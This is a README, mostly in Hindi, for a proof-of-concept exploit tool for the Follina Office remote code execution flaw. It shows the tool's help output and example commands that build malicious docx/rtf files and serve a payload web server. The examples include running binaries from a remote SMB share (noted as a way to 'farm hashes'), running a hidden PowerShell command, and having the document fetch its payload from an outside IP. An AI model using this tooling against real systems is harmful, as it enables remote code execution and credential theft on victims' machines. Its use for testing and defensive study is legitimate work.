
परीक्षण उद्देश्यों के लिए पूर्ण 'Follina' Office RCE भेद्यता को दोहराने हेतु POC
स्थानीय परीक्षण उद्देश्यों के लिए 'Follina' Office RCE भेद्यता को दोहराने हेतु त्वरित POC। स्क्रिप्ट चलाने पर आपकी वर्तमान कार्यशील निर्देशिका में एक clickme.docx (या clickme.rtf) पेलोड फ़ाइल उत्पन्न होगी, और पेलोड फ़ाइल (www/exploit.html) के साथ एक वेब सर्वर प्रारंभ होगा। पेलोड और वेब सर्वर पैरामीटर कॉन्फ़िगर करने योग्य हैं (सहायता और उदाहरण देखें)।
⚠ प्रोडक्शन में उपयोग न करें, अन्यथा आप मूर्ख माने जाएँगे
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
इस मुद्दे के उनके मूल विश्लेषण के लिए Kevin Beaumont को धन्यवाद, उनका POC साझा करने के लिए @KevTheHermit को, और पेलोड आवश्यकताओं के विश्लेषण पर आगे काम करने के लिए John Hammond को धन्यवाद। Office 2019 का समर्थन करने वाले टेम्पलेट के लिए @mkolsek को अतिरिक्त धन्यवाद, और मेरे साथ पेलोड का अपना संस्करण साझा करने के लिए @theluemmel को धन्यवाद।